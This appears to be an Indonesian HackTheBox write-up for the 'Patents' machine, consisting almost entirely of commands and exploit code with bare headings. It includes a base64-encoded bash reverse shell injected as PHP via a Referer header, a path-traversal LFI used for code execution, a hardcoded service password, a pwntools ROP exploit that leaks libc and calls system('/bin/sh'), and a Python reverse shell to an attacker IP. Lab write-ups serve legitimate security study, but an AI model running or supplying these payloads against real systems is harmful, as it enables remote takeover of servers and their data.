HackTheBox. Melewati Paten. XXE via DOCX, LFI ke RCE, GIT, dan file berantai ROP

Recon

10.10.10.173    patents.htb

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

nmap -A patents.htb -p22,80,8888

XXE DOCX

python3 -m http.server 80

Titik masuk

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'

L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'

nc -lvp 4321

curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2

ROOT 1

ROOT 2

git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

Rop

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)

r = remote(HOST, PORT)
r.sendline(send_.encode())

r.interactive()

file = "../../../../../etc/hosts"

file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

#!/usr/bin/python3
from pwn import *

def append_and_encode(file, rop=b""):
    ret = b""
    path = (file + b"\x00").ljust(160, b"A") + rop
    for i in path:
        ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
    return ret

context(os="linux", arch="amd64", log_level="error")

HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()

binary = ELF("./lfmserver")
libc = ELF("./libc6.so")

rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

print(f"[*] Payload sent")

recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")

shell_address = next(libc.search(b"/bin/sh\x00"))

rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build()) 

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)

context.log_level='info'
r.recv()
r.sendline(b"id")

r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

ROOT 3